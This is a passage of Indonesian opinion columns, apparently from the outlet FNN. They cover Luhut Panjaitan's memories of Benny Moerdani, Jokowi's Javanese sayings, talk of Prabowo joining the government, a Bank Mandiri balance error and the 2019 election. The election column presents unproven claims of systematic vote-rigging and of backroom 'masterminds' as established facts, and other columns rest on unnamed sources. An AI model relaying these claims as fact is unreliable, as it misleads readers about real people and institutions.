jarang tersenyum. Saya kagum bahwa loyalitas kepada pimpinan negara dan NKRI tidak perlu dipertanyakan lagi. Setiap kata atau tindakannya mencerminkan, menurut istilah masa kini, kesetiaan yang tegak lurus ke atas. Suatu hari sebelum saya mendapat penugasan memimpin operasi khusus mengamanan Presiden Soeharto dalam KTT ASEAN di kota Manila, Filipina, Pak Benny yang sudah jadi Panglima ABRI mengatakan dengan dingin. “Luhut, sejak dua atau tiga tahun lalu, sudah banyak yang antri untuk menggantikan saya, tetapi orang ini (sambil menunjuk foto Pak Harto di dinding) kalau terjadi sesuatu pada dirinya…Republik itu menjadi kacau…!” ujarnya dengan tegas. Kemudian,“Jadi Luhut, taruhan keselamatan Pak Harto adalah lehermu..!” Sebagai perwira saya cuma menjawab, “Siap! Laksanakan!” Akibat sering dipanggil ke kantornya, lama-kelamaan saya jadi risih. Kebanggaan dipanggil oleh Panglima ABRI mengecil, karena pasti banyak yang tahu, dan banyak pula senior saya yang tidak senang, mungkin juga jadi iri, seorang perwira menengah dipanggil oleh jenderal bintang empat berjam-jam. Suatu hari ketika mood Pak Benny sedang bagus, saya beranikan diri bertanya, “Pak, mohon izin, lain kali kalau memanggil saya bisa kah melalui atasan saya?”Saya curi pandang wajahnya, dan mukanya lalu mengeras. Kedua tangannya mulai menyapu-nyapu mejanya, dan saya menyesal koq berani-berani membuat beliau marah. Tapi nasi sudah jadi bubur, saya pasrah. “Luhut!”katanya dengan nada dalam. “Saya jenderal bintang empat…!”sambil menunjukkan tanda pangkatnya di bahu “... dan kamu Letkol…!”Itu saja, dan saya sudah mengerti maksudnya. “Siap!” jawab saya. Sejak itu saya tidak pernah berani menanyakan lagi soal itu. Beberapa tahun kemudian ketika Pak Benny pensiun, saya menerima konsekuensi karena jadi golden boys Pak Benny. Tapi saya terima itu dengan besar hati. Tidak jadi Danjen Kopassus, tidak jadi Kasdam atau Pangdam; bagi saya itu harus bayar sebagai akibat kesetiaan yang tegak lurus. Dan saya bangga mampu menjalankan nilai-nilai yang diturunkan oleh Pak Benny kepada saya. Beberapa tahun kemudian, Pak Benny sudah tidak punya power lagi, kecuali jabatan sebagai Menteri Hankam yang “tak bergigi”, saya berpangkat Kolonel dan baru pulang dari pendidikan di NDU di Washington DC. Saya datangi kantor beliau, dan menanyakan kepada Pak Benny, rumor yang beredar di luar bahwa beliau sudah “jauh” dari Pak Harto. “Benar itu Luhut..!” katanya terus terang. Ia menjelaskan bahwa Presiden Soeharto marah kepadanya, ketika dengan cara halus mencoba mengingatkan bisnis yang dijalankan oleh putera-puteriny a yang sudah kelewat batas di meja bilyar; Pak Harto lalu tiba-tiba meletakkan stik bilyar dan masuk kamar. Sejak itu, Benny Moerdani tidak pernah dekat dengan Presidennya. “Tetapi asal kamu tahu ya Luhut. Apapun sikap beliau, saya tidak pernah kehilangan kesetiaan saya kepadanya…!” Saya ingat suatu hari tahun 1983, ketika hampir terjadi krisis keamanan yang melibatkan Prabowo, saya menyampaikan kasus itu kepada Menhankam/ Pangab (waktu itu) Jenderal M. Jusuf yang juga saya kagumi. Beliau berkata pendek, “Luhut, saya percaya kesetiaan Benny, saya tidak ragukan dia…! Karena Pangab sudah memutuskan, maka permasalahan sensitif tersebut selesai dengan sendirinya. Banyak pelajaraan mengenai kepemimpinan dan kemiliteran yang saya pelajari dari beliau. Dan saya akui, karena pengaruh Pak Benny itulah yang membuat saya tertarik pada masalah-masalah intelijen, diantaranya dalam memelihara jaringan (networking) dengan berbagai tokoh di dunia. Beliau mempunyai buku alamat kecil yang sudah lusuh karena penuh dengan nama-nama tokoh penting dan nomor telepon hot-line yang ia bisa hubungi 24 jam sehari. Kenangan manis bersama Jenderal Benny Moerdani saya tuangkan dalam biografi saya nanti. Untuk sementara saya hanya bisa katakan, Rest in Peace Jenderal Benny! Hingga hari ini saya tidak mengecewakan harapan bapak! Luhut adalah seorang pengagum Benny Moerdani sebagai jenderal tempur yang meninggal dalam usia relatif masih muda, 72 tahun. Luhut mengenal Benny sejak berpangkat Mayor. Sebelum bersama Kapten Inf. Prabowo Subianto dikirim ke Jerman Barat. "Kontradiksi Prabowo" Di sini Luhut mencoba mengingatkan bahwa ia lebih senior daripada Prabowo. Penyebutan pangkat adalah indikasi kesenioran tersebut. Saat itu Benny masih berpangkat Letjen dan menjabat Asintel Hankam/ABRI dengan Menhankam/Pangab Jenderal TNI M. Yusuf. Luhut adalah pemimpin pasukan anti-teror pertama di Indonesia, yaitu Detasemen 81 (Den-81), yang sering dipanggil menghadap Benny di kantornya. Ia menggambarkan betapa Benny memiliki karakter yang sangat kuat dengan pancaran wibawanya. Ia kagum pada loyalitas Benny kepada pimpinan Negara dan NKRI. Kesetiaan yang tegak lurus. “Luhut, sejak dua atau tiga tahu lalu, sudah banyak yang antri untuk menggantikan saya, tetapi orang ini (Pak Harto) kalau terjadi sesuatu pada dirinya... Republik itu menjadi kacau....” Begitu pesan Benny kepada Luhut yang memimpin Opsus mengamankan Presiden Soeharto dalam KTT ASEAN di Kota Manila, Filipina. Saat itu Benny sudah menjadi Panglima ABRI, “Jadi Luhut, taruhan keselamatan Pak Harto adalah lehermu..!” Sebagai perwira, Luhut cuma menjawab, “Siap! Laksanakan!” Akibat sering dipanggil Benny ke kantornya, Luhut menjadi risih. Karena pasti banyak yang tahu, dan banyak pula seniornya yang tidak senang, mungkin juga menjadi iri. Di sini Luhut sudah berprasangka seniornya merasa tidak senang dan iri. Seorang perwira menengah dipanggil oleh jenderal bintang empat berjam-jam. Ketika Benny pensiun, Luhut menerima konsekuensi karena jadi golden boys Pak Benny. Luhut terima itu dengan besar hati. Tidak jadi Danjen Kopassus, tidak jadi Kasdam atau Pangdam; baginya itu harus dibayar sebagai akibat kesetiaan yang tegak lurus. “Dan saya bangga mampu menjalankan nilai-nilai yang diturunkan oleh Pak Benny kepada saya.” Saat Benny tidak punya power lagi, kecuali jabatan sebagai Menteri Hankam yang “tidak bergigi”, Luhut sempat menanyakan perihal rumor yang terembus di luar. Sayangnya Luhut tidak mau menyebut apa rumor itu. “Saya ingat suatu hari tahun 1983, ketika hampir terjadi krisis keamanan yang melibatkan Prabowo, saya menyampaikan kasus itu kepada Menhankam/Pangab (waktu itu) Jenderal M. Jusuf yang juga saya kagumi,” tulisnya. Beliau berkata pendek, “Luhut, saya percaya kesetiaan Benny, saya tidak ragukan dia…! Karena Pangab sudah memutuskan, maka permasalahan sensitif tersebut selesai dengan sendirinya. Di sini jelas sekali, Luhut mencoba membuka “luka lama” terkait Prabowo. Sayangnya, sekali lagi, Luhut tidak mau menyebut “krisis keamanan” apa yang melibatkan Prabowo. Seolah Luhut ingin menyebut, Prabowo itu “bermasalah”. Mengapa Luhut ungkit dan menyebut, krisis keamanan yang “melibatkan” Prabowo? Krisis keamanan apakah yang dimaksudnya? Luhut seakan mengingatkan rakyat agar hati-hati kalau Prabowo jadi pemimpin. Inikah cara dendam Luhut? Dan, ziarahnya ke pusara Benny itu hanya untuk wadul dan pamit bahwa tidak lama lagi Luhut sudah bukan “siapa-siapa” lagi, jika rekonsiliasi Joko Widodo dengan Prabowo Subianto terjadi!

Ada Sedikit Persamaan Jokowi dengan Pak Harto

Oleh Bagus Ra Kuti (Wartawan Senior) Jakarta, FNN - "Lamun sira sekti, aja mateni". Begitu falsafah Jawa yang diunggah ke akun media sosial Presiden Joko Widodo, mulai dari Twitter, Facebook, hingga Instagram, Sabtu (20/7). Falsafah itu ditampilkan dalam sebuah gambar bergerak berlatar belakang warna coklat yang menunjukkan adanya tokoh pewayangan sedang memberikan padi ke sosok petani. "Zaman sudah semakin maju, tapi kita tetap mengingat pesan-pesan bijak dan agung para leluhur," tulis Jokowi dalam kolom caption. Ini adalah kali kedua bagi Jokowi memublikasikan falsafah yang dianutnya. Pada 25 Mei lalu, ia juga mengungkapkan tiga falsafah Jawa yang menjadi pegangannya di salah satu televisi swasta. Tiga falsafah ini, menurutnya, ia jalankan dalam kehidupan sehari-hari maupun saat memerintah negara Republik Indonesia. “Lamun sira sekti, ojo mateni. Meskipun kamu sakti, jangan sekali-kali menjatuhkan," ucap Jokowi. “Lamun siro banter, ojo ndhisiki. Meskipun kamu cepat, jangan selalu mendahului. Lamun sira pinter ojo minteri. Meskipun kamu pintar, jangan sok pintar," lanjutnya. Falsafah yang menjadi pegangan Presiden Jokowi ini diajarkan Sunan Kudus atau Jaffar Shadiq sejak dahulu kala. “Yen sira landep aja natoni, yen sira banter aja nglancangi, yen sira mandi aja mateni“ Jika diterjemahkan secara bebas ajaran Sunan Kudus itu; “Jika dirimu tajam, jangan melukai, jika dirimu kencang jangan menyalip, jika dirimu sakti jangan membunuh”. Falsafah ini mengajarkan tentang sikap kerendahan rendah hati, sopan santun, menghormati orang lain, tidak mementingkan diri dan sikap tidak menang sendiri serta penghargaan atas hak-hak orang lain, serta toleransi. Falsafah tersebut juga terkorelasi dengan ajaran para orang tua kepada anak-anaknya yang berbunyi: “Aja adigang, adigung, adiguna”. Dalam kamus Bahasa Jawa “Bausastra Jawa-Indonesia” susunan S. Prawiroatmojo (1980) dijelaskan bahwa: Adigang: Membanggakan kekuatannya Adigung: Membanggakan kebesarannya Adiguna: Membanggakan kepandaiannya Jadi aja adigang, adigung, adiguna bermakna jangan membanggakan kekuatan kebesaran, dan kepandaian. Kembali ke falsafah Jawa pegangan Jokowi, lamun sira sekti, aja mateni. Eko Sulistyo mencoba membedah falsafah itu. "Bila dialihbahasakan, lamun sira sekti, aja mateni itu artinya, dia punya kekuasaan, tapi tidak lantas kemudian akan bertindak semena-mena," ujar Eko seperti dikutip Kompas Senin (22/7). Apabila dikaitkan dengan konteks situasi politik hari ini, lanjut Deputi IV Bidang Komunikasi Politik dan Diseminasi Informasi Kantor Staf Presiden (KSP) ini, artinya Presiden Jokowi berikrar tidak akan bertindak semena-mena meskipun ia adalah pemenang Pilpres 2019. “Presiden tidak merendahkan rivalnya yang kalah, Prabowo Subianto,” lanjut pria yang sudah merasa dekat dengan Jokowi semenjak Presiden itu masih menjabat Wali Kota Solo. Jokowi ingin menekankan bahwa sebagai pemenang pilpres, ia tidak akan berlaku sewenang-wenang menggunakan kekuasaannya. "Bagaimanapun juga kekuasaan tidak boleh dipakai untuk menindas," tambah Sekjen PDI-P, Hasto Kristiyanto. “Sudah seharusnya kekuasaan dipakai untuk merangkul seluruh elemen masyarakat.” *Falsafah Soeharto* Bicara tentang falsafah Jawa, mengapungkan ingatkan kita tentang Presiden Soeharto. Dialah presiden yang paling kental menjalankan falsafah hidup orang Jawa. Pandangan hidup Pak Harto sangat dipengaruhi pergulatan perjalanan hidupnya; dari seorang anak petani sampai menjadi presiden. Tekadnya yang terus belajar dan selalu vokus dalam memperjuangkan masa depannya menjadikan Pak Harto bisa meraih apa yang sebelumnya tidak pernah ia bayangkan. “Pada waktu itulah saya mengenal ajaran tiga ‘aja’,” ujar Pak Harto dalam buku “Soeharto, Pikiran, Ucapan dan Tindakan Saya; otobiografi seperti yang dipaparkan kepada G. Dwipayana dan Ramadhan KH. “Aja kagetan, aja gumunan, aja dumeh (jangan kagetan, jangan heran, jangan mentang-mentang); yang kelak menjadi pegangan hidup saya, yang jadi penegak diri saya dalam menghadapi soal-soal yang bisa mengguncangkan diri saya.” “Tidaklah perlu kita kaget sesuatu yang seolah-olah merupakan keistimewaan pada seseorang, tidaklah menyebabkan kita heran. Tidaklah perlu kita terbelalak dibuatnya sampai mengucapkan wah hebat sekali. Kembalilah hal itu kepada Tuhan dan kita ‘aja gumunan’ (jangan heran). Kalau kita mempunyai kedudukan, kekayaan, mempunyai sesuatu yang lebih, jangan lupa, bahwa sewaktu-waktu hal itu bisa berubah, kalau Tuhan menghendakinya. Sebab itu, ‘aja dumeh’ (jangan mentang-mentang) kedudukan tinggi, terus bertindak sewenang-wenang, aja dumeh mempunyai kekayaan yang berlimpah-limpah lalu lupa daratan.” Museum Memorial Jenderal Besar HM Soeharto di Dusun Kemusuk, Argomulyo, Sedayu, Kabupaten Bantul, Yogyakarta, juga merekam banyak sekali falsafah Jawa yang dianut Pak Harto. Falsafah itu tertulis di dinding, tiang-tiang, di foto berbingkai, dan lainnya. Salah satunya ada falsafah Jawa yang berbunyi sugih tanpa banda, nglurug tanpa bala, sakti tanpa aji, menang tanpa ngasorake. Falsafah ini tertera di salah satu foto Pak Harto yang sedang tersenyum. Falsafah tersebut banyak yang menyebut sebagai catur paradoks Raden Mas Panji Sosrokartono, kakak kandung Raden Ajeng Kartini. Makna dari sugih tanpa banda adalah kaya namun tidak bergantung pada harta benda. Nglurug tanpa bala, menyambangi musuh tanpa bantuan orang lain. Digdaya tanpa aji bisa diartikan sakti mandraguna tanpa bergantung pada senjata, dan menang tanpa ngasorake menang tetapi tidak sampai merendahkan yang dikalahkan. Mereka yang memegang falsafah ini adalah orang yang sudah tahu dan menyadari sepenuhnya tujuan hidup. Jika harus berkompetisi, bahkan berperang sekalipun, ia tidak akan pernah merasa terancam dan tidak pula berlaku sewenang-wenang, karena menyadari sepenuhnya bahwa dirinya hanyalah perpanjangan dari tangan Tuhan yang Maha Kasih. Prinsip-prinsip falsafah Jawa yang dilakoni Pak Harto membuat kabinetnya kuat dan semua anak buahnya segan pada dirinya. Menghafal falsafah tidaklah sulit, tapi bagaimana menerapkan ajaran luhur tersebut dalam keseharian tidaklah mudah. Selanjutnya, begitu Jokowi mulai berfalsafah, maka publik diharap bisa manggut-manggut. Ternyata, pemilu 2019 yang dianggap penuh kecurangan oleh banyak orang itu, telah melahirkan pemimpin yang memegang prinsip "Lamun sira sekti, aja mateni". Prinsip yang boleh jadi membuat Prabowo Subianto bertekuk lutut.

Prabowo Menjadi "Perdana Menteri" Jokowi

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - “Tenang, Bang. Prabowo bakal menjadi perdana menteri Jokowi.” Begitu gambaran dari seorang teman yang selama ini selalu bisa menyedot info top-level dari lingkaran 02. Digambarkan, Prabowo Subianto (PS) akan mengendalikan banyak pos-pos penting. Itulah “power sharing” (bagi kekuasaan). PS akan diserahi sejumlah kementerian “nyawa pemerintahan” seperti Kementerian BUMN, Kementerian Perdangan dan Perindustrian, Kementerian Keuangan, Kementerian Pertanian dan Kehutanan, dlsb. Iya atau tidak, silakan Anda tetap ‘tune in’. Tapi, mohon maaf, saya selalu ‘dismissive’. Selalu tak percaya. Masa iya semudah itu Prabowo akan diberi wewenang besar seandainya dia menerima tawaran masuk ke pemerintahan yang lahir dari situng KPU yang kemudian disertifikasi oleh MK. Wallahu a’lam. Prabowo kelihatannya yakin sekali dia sangat diperlukan oleh Jokowi. Diperlukan untuk mengawal pengelolaan negara selama lima tahun ke depan. Konon, kabarnya, keyakinan inilah yang mendorong PS berani ambil risiko berseberangan dengan 90 juta pemilihnya yang tak rela memberikan legitimasi kepada Jokowi. Iming-iming menjadi “Perdana Menteri” (PM) itulah yang membuat PS nekad bertemu Jokowi di Lebak Bulus. Nekad menyakiti perasaan puluhan juta pemilihnya. Banyak teori tentang Prabowo bakal menjadi PM dengan kekuasaan besar. Tetapi, di tengah belantara politik barbarik dan politisi licik yang ada di kubu Jokowi dan juga di kubu Prabowo sendiri, mungkinkah impian “perdana menteri” itu menjadi kenyataan? Lagi-lagi saya dismisif. Sebab, konsep “power sharing” itu hampir mustahil dijabarkan selagi “power steering”-nya dikendalikan oleh para dalang. Mereka ini adalah gerombolan suka-suka hati. Tak bisa diatur oleh siapa pun. Sebaliknya, merekalah yang mengatur. Saya khawatir, konsep bagi kekuasaan yang ditawarkan kepada PS tidak akan semuluk yang disangka. Tidak akan seindah yang dibayangkan. Lebih banyak berbumbu muslihat. Cuma, memang santer kabar bahwa roda pemerintahan sedang terancam macet. Ada masalah serius di cash-flow negara. Karena itu, Jokowi memerlukan suntikan dana segar. Dan itu hanya bisa diperoleh dari luar. Di sinilah Prabowo menjadi sangat penting. Para pemberi pinjaman, kata satu sumber, tidak akan mencairkan dana kalau tidak ada jaminan stabilitas sosial-politik di Indonesia. Stabilitas itu, pada saat ini, kuncinya ada di tangan Prabowo. Itulah sebabnya Jokowi mati-matian mengajak 02 rekonsiliasi dan berkoalisi. Anda percaya? Kalau saya tidak. Untuk sementara ini. Kalau pun benar situasi dan kondisi negara seperti itu, saya malah berpendapat Prabowo seharusnya tidak mendekat. Sebab, itu artinya Jokowi bukan mau berbagi kekuasaan melainkan mau berbagai “nama buruk”. Berbagi julukan “tak becus memimpin”. Tetapi, kalau Jokowi secara jantan mengaku bahwa dia tak sanggup memimpin, dan karena itu dia menyerahkan semuanya kepada Prabowo, masih bisa dipahami. Yang dikhawatirkan, Jokowi cuma ingin membawa Prabowo dan 90 juta pemilih waras jatuh ke jurang bersama penguasa blunder dan para pendukungnya yang selama ini membabi buta. Jadi, kalau Prabowo tetap keras mengikuti jebakan “jatuh bersama” itu, sungguh di luar nalar sehat. Semoga ilusi Prabowo menjadi “perdana menteri” Jokowi belum terlalu dalam.

Untung Saldo Rekening Eror, bukan Rush

Oleh Iriani Pinontoan (Wartawan Senior) Jakarta, FNN - Ekonomi nasional memang dalam kondisi parah. Seharusnya tidak diperparah transaksi perbankan carut marut dalam dua hari terakhir. Nasabah bank plat merah terkaget-kaget. Sejak Sabtu pagi (20/7), nasabah melaporkan rekening mereka bertambah. Sebagian lainnya berkurang. Buat yang bertambah, tentu menyenangkan. Sebaliknya, berkurang bisa panik.Apalagi jika kurangnya banyak. Meskipun sudah ada penjelasan resmi dari Corporate Secretary Bank Mandiri, Rohan Hafas tentang terjadinya perubahan drastis saldo akibat sistem eror, tetap menyisakan tanya. Mengapa terjadi jika proses tutup buku akhir minggu itu rutin? Investigasi sementara, ada memory deffect atau cacat pada sistem perangkat keras (hardware). Saat data nasabah, sekitar 15 juta dipindahkan dalam sebuah backup server, kemudian core server memproses transaksi yang terjadi sehari sebelumnya, ketika dipindahkan kembali ke backup server terjadi eror. Saldo nasabah pun tertukar. Nasabah panik. Tiba-tiba saldo mereka berkurang drastis,tapi juga ada yang bertambah drastis sampai Rp 95.000.000 juta. Luar biasa.Pencatatan janggal itu memicu nasabah ramai-ramai mendatangi Bank Mandiri, seperti terjadi di Balikpapan. Mereka antri bukan menarik tabungan, tapi memastikan rekennig mereka aman-aman saja. Sekitar 1,5 juta nasabah (10%) Bank Mandiri mengalami perubahan drastis saldo rekening. Saldo mereka tertukar. Sejak Sabtu sore pukul 15.30 WIB, normalisasi transaski pelayanan sudah pulih kembali. Internet banking, SMS banking, Anjungan Tunai Mandiri (ATM) dan electronic data capture. Meski normal, tapi semalam dapat informasi dari netizen di Perancis, hanya untuk mentransfer masing-masing Rp 1.000.000 ke Bank Mandiri dan BCA, ternyata gagal. Rohan Hafas menjelaskan, meski sudah normal, namun sebanyak 2.670 rekening nasabah tetap diblokir. Kantor cabang diperintahkan menghubungi nasabah yang melakukan penarikan dan transfer karena tidak mengetahui permasalahan sistem yang eror. Kejadian ini bisa menimbulkan berbagai spekulasi. Ada netizen menulis, jangan-jangan peretas membobol perangkat perbankan. Ada juga pendapat, sengaja dibuat agar nasabah tidak menarik dana serentak (rush).Bank bisa collaps. Beberapa waktu belakangan ini, warga net ramai-ramai menyuarakan agar segera menarik tabungan. Kenapa, karena pemerintah sedang mengalami kesulitan keuangan, termasuk bank milik pemerintah ( BUMN). Sebagian menyarankan invetasi emas atau membeli dinar.Rush sangat menakutkan bagi perbankan. Era digital memang memaksa perbankan melakukan perubahan ekstrim, jika tidak ingin tergilas. Sepuluh tahun lalu, bank ramai perbanyak cabang di dalam maupun luar negeri. Sejalan perkembangan smartphone cukup bertransaksi dari mana saja tanpa harus ke bank. Mau atau tidak,bank harus mengurangi kantor cabangnya. Kalau pun dipertahankan, hanya cabang di luar negeri. Dilematis. Belum lagi makin banyak pilihan aplikasi bertransaksi, seperti dilakukan perusahaan-perusahaan online. Makin mudah, semudah memencet tombol smartphone.

Rekonsiliasi, Upaya Jokowi Lepas dari "Dalang?"

Mochamad Toha (Wartawan Senior) Jakarta, FNN - Fakta bahwa selama ini Presiden Joko Widodo berada dalam “kendali” para dalang yang ada di belakang kekuasaan politiknya, sudah bukan rahasia lagi. Sebagian rakyat juga sudah tahu siapa saja “dalang” penyokong kekuasaan Presiden Jokowi. Meski pada awalnya Jokowi menolak ide rekonsiliasi, namun akhirnya mantan Walikota Solo ini menerimanya setelah mendapat tekanan dari “kekuatan besar” yang pegang data dan bukti pencurangan Pemilu (Pileg dan Pilpres), 17 April 2019 lalu. Mau buktinya? Republika.co.id, Selasa (Selasa 02 Jul 2019 17:33 WIB) menulis berita: Ketua KPU Tegur 12 Provinsi yang Belum Selesaikan Situng. Namun, anehnya, pada 21 Mei 2019 dini hari KPU sudah mengumumkan pemenang Pilpres 2019. Menurut Ketua KPU Arief Budiman, tak masuk akal jika pengisian data situng belum tuntas 100 persen. Sebab, TPS didirikan dan data dari TPS pun ada. “Jadi, kenapa kok tidak bisa selesai 100 persen? Kenapa berhenti di tengah-tengah,” ujarnya. “Semuanya saya tegaskan harus selesai 100 persen. Supaya untuk Pilpres 2024 nanti juga bisa selesaikan 100 persen,” tegas Arief. Dia melanjutkan, ada 10 provinsi lain yang belum 100 persen menyelesaikan situng,” ungkapnya kepada wartawan. Yaitu: Kepulauan Riau (99,6 persen), Jabar (99,7 persen), Jatim (99,7 persen), Kalsel (99,8 persen), Sulut (99,9 persen), Maluku (75,9 persen), Malut (99,1 persen), Papua (71 persen) dan Papua Barat (79,9 persen) dan Sumut. Sangat janggal bukan? Sebenarnya masih ada banyak pertanyaan upaya mencari keadilan dari paslon 02. Apakah keputusan Bawaslu menolak pemeriksaan perkara pelanggaran TSM yang diajukan paslon 02 Prabowo Subianto – Sandiaga Uno itu adalah benar berdasarkan UU? Dapatkah Bawaslu menolak pemeriksaaan sebuah laporan dari peserta pemilu yang merasa dirugikan? Mengapa Bawaslu tidak bersedia memeriksa perkara tersebut? Apakah Bawaslu dibenarkan menolaknya dengan alasan perkara tak dilengkapi dengan bukti pendukung? Bukti pendukung apa yang dimaksud oleh Bawaslu?Apakah bukti DPT Papua yang 3,5 juta, sedangkan jumlah penduduk Papua hanya 3,3 juta tidak merupakan bukti pendukung? Fakta bahwa pelanggaran pemilu secara TSM sudah menjadi pengetahuan publik. Fakta bahwa Prabowo – Sandi meraih suara pemilih terbanyak. Fakta bahwa aparat, KPU, Bawaslu, MK tidak netral, berpihak pada paslon 01 Joko Widodo – Ma’ruf Amin dan koalisi partai pengusung 01. Fakta bahwa hasil pemilu dimanipulasi. Fakta Bawaslu berpihak ke 01 dan menjadi bagian dari pelanggaran TSM/pencurangan pemilu terlihat jelas pada keputusan Bawaslu menolak pemeriksaan perkara yang diajukan 02. Fakta bahwa Bawaslu membiarkan pelanggaran TSM oleh KPU, yang seharusnya menjadi tugas/kewajiban Bawaslu mencegahnya. Contoh pelanggaran TSM oleh KPU yang dibiarkan Bawaslu: Penetapan DPT 2019 sebesar 193 juta pemilih, di mana adanya dugaan terdapat sedikitnya 17,5 juta pemilih ilegal sudah disampaikan oleh paslon 02 ke KPU, namun tidak ditanggapi KPU. Seharusnya Bawaslu memeriksa KPU atas penetapan DPT 2019. Contoh Pelanggaran TSM oleh KPU yang diabaikan Bawaslu. Penetapan rekapitulasi hasil pemilu oleh KPU yang dilakukan secara sembunyi-sembunyi, tidak transparan, pada pukul 01.00 dini hari, tidak didukung bukti C1 TPS, tidak disetujui paslon 02, kolutif dan manipulatif Tidak Diperiksa oleh Bawaslu. Contoh Pelanggaran TSM oleh KPU yang tidak diperiksa Bawaslu. Penyajian Rekap hasil pemilu pada Situng yang telah terbukti mengandung banyak kesalahan, sudah dilaporkan dan dibuktikan 02, namun tetap diteruskan oleh KPU. Fakta bahwa Situng sampai hari ini Gagal menuntaskan Rekap Pemilu. Banyak contoh pelanggaran TSM oleh kubu 01 yang sudah dilaporkan ke Bawaslu dan sebagian sudah diperiksa di MK, di mana pemeriksaan di MK itu jadi sia-sia karena MK dalam putusan menyatakan pelanggaran TSM itu kewenangan Bawaslu. Jadi, untuk apa MK periksa jika sebut Bawaslu yang berwenang. Alasan KPU menetapkan DPT 193 juta dan Rekap Pemilih 2019 sebesar 199,3 juta adalah menjamin hak pilih warga negara sudah terbukti sebagai alasan palsu. Padahal, alasan sebenarnya adalah agar KPU mudah memanipulasi hasil pemilu yang bisa merugikan 02 dan partai-partai tertentu peserta pemilu. Alasan KPU menetapkan 267 ribu TPS tambahan untuk memudahkan dan mempercepat proses PSU dan penetapan Rekap hasil pemilu sudah terbukti adalah alasan palsu. Hingga hari ini KPU tidak bisa menyajikan rekap 813.336 TPS berdasarkan rekap C1 yang sah. Padahal, alasan KPU sebenarnya dalam penetapan 267 ribu TPS Tambahan adalah: Pertama, sebagai sumber puluhan juta suara siluman yang ditambahkan untuk 01, PDIP, dan Nasdem; Kedua, untuk mencegah paslon 02 membuktikan pencurangan/manipulasi karena mustahil 02 dapat menyediakan 267 ribu saksi di TPS tambahan. Penetapan KPU menambah 267 ribu TPS baru sangat merugikan 02 dan hampir semua partai peserta pemilu, incasu penyediaan minimal 267 ribu saksi dengan waktu-sumber daya yang sangat terbatas. Penambahan 267 ribu TPS ini adalah bukti pelanggaran TSM oleh KPU, tapi dibiarkan oleh Bawaslu. Itulah sebagian pencurangan yang data dan buktinya telah dipegang oleh “kekuatan besar” tadi. Dengan fakta yang disodorkan ini, Jokowi hanya pasrah. Lepas Dalang Meski paslon 01 telah ditetapkan KPU berdasarkan putusan MK dan MA, tampaknya Jokowi dan TKN Jokowi – Ma’ruf belum yakin benar dengan “kemenangan” yang dipegangnya. Ini terlihat dari betapa risaunya mereka sebelum Jokowi bertemu Prabowo. Pertemuan Jokowi dan Prabowo di Stasiun MRT Lebak Bulus bisa disebut sebagai upaya rekonsiliasi yang dirancang bersama Teuku Umar (diwakili Budi Gunawan), Cendana, dan Hambalang (Prabowo). Ini lepas dari “Dalang” Penyokong Utama Jokowi. Sudah menjadi rahasia umum, Susilo Bambang Yudhoyono, Luhut Binsar Panjaitan, dan AM Hendro Priyono adalah tiga jenderal purnawirawan penyokong utama Jokowi sejak menjabat Walikota Solo, selain CSIS. Ketiganya adalah tokoh utama di balik keberhasilan Jokowi menjadi presiden 2014-2019 dan penguasa sebenarnya di balik rezim Jokowi. Namun, posisi SBY adalah primus inter pares di antara tokoh-tokoh tersebut. Hendro, tokoh penemu, perekrut, dan pembina awal Jokowi sejal 2006. Luhut adalah tokoh penyandang dana segala pencitraan Jokowi pada masa-masa awal (2007-2011) melalui aliran uang puluhan miliar dari PT Toba Sejahtra ke PT Rakabu Sejahtera. Namun, SBY adalah tokoh terakhir namun menentukan. Selain ketiga jenderal itu, juga ada nama Letjen TNI Agus Widjojo (sekarang Gubernur Lemhanas) yang sudah terlibat dalam persiapan menjadikan Jokowi sebagai “presiden proksi”. Masih ada puluhan jenderal lain eks kelompok Begawan yang sejak 2011 turut membantu kemenangan Jokowi pada Pilkada DKI Jakarta 2012 dan Pilpres 2014. Jadi, wajar saja jika masih ada sebagian jenderal yang “setia” di belakang Jokowi. SBY tetap primus inter pares di antara semuanya. Posisinya sebagai presiden, strategi politik yang luar biasa, deception tiada tara, sumber daya yang lebih dari cukup dan lain-lain sudah menjadi jaminan keberhasilan Jokowi menang Pilkada 2012 dan Pilpres 2014. Catat, tanpa SBY, Jokowi bukan siapa-siapa! Sebagai primus inter pares, SBY memperoleh konsesi politik jauh lebih besar bila dibandingkan Hendro, LBP, dan yang lainnya dalam pemerintahan Jokowi. SBY adalah pemegang saham terbesar rezim Jokowi. Dari Singapura, SBY melempar gagasan untuk segera membuka ruang dialog antara Jokowi dengan Prabowo. Lantas, dilanjutkan dengan kecamannya kepada pihak-pihak tertentu yang melarang keras dan mengharamkan Prabowo bertemu Jokowi. Semua ini terjadi pasca pembatalan Prabowo untuk menemui SBY di Singapura. Pembatalan pertemuan Prabowo – SBY di Singapura adalah langkah tepat. Belakangan, saat takziyah di Puri Cikeas, SBY malah mendesak agar Prabowo “mengalah” lagi. Tak seperti pasca Pilpres 2014, kali ini Prabowo dengan tegas menolak permintaan SBY itu. Pasalnya, banyak data dan bukti terjadi pencurangan Pilpres 2019. Apalagi, saat persidangan PHPU di MK, persoalan pencurangan itu dilihat dan didengar rakyat. Meski pada akhirnya dikalahkan oleh MK dan dikuatkan MA, toh tampaknya Jokowi belum yakin benar dengan kemenangannya itu. Makanya, Jokowi dan kubunya sangat ingin bertemu dengan Prabowo. Akhirnya, bertemulah keduanya di Lebak Bulus itu. Menariknya, pertemuan Jokowi – Prabowo itu tidak dihadiri oleh Luhut yang selama ini setia mendampingi Jokowi. Apakah ini pertanda Jokowi ingin melepaskan diri dari kendali Luhut Cs untuk rekonsiliasi bersama Teuku Umar, Cendana, dan Hambalang? Kehadiran BG dalam pertemuan itu sangat mencolok. Boleh jadi, BG-lah yang ikut mengatur pertemuan Jokowi – Prabowo tersebut. Selain sebagai Kepala BIN, BG bisa dianggap sebagai tokoh yang “mewakili” Megawati Soekarnoputri (Teuku Umar). Tidak hadirnya Luhut yang selama ini digambarkan sebagai The Real President RI tersebut setidaknya bisa menjadi bukti adanya faksi dalam internal penyokong dan pendukung paslon 01. Sudah sejak 2015 Rencana Pilpres Jokowi vs Prabowo disiapkan. Penunggangan KPK – KPU – Bawaslu – MK disiapkan. Semua harus memenangkan Jokowi segala cara. Mastermind-nya SBY – Luhut – Hendro – CSIS. Kini, Jokowi mau lepas diri? ***

Misteri Pertamina di Del Sopo

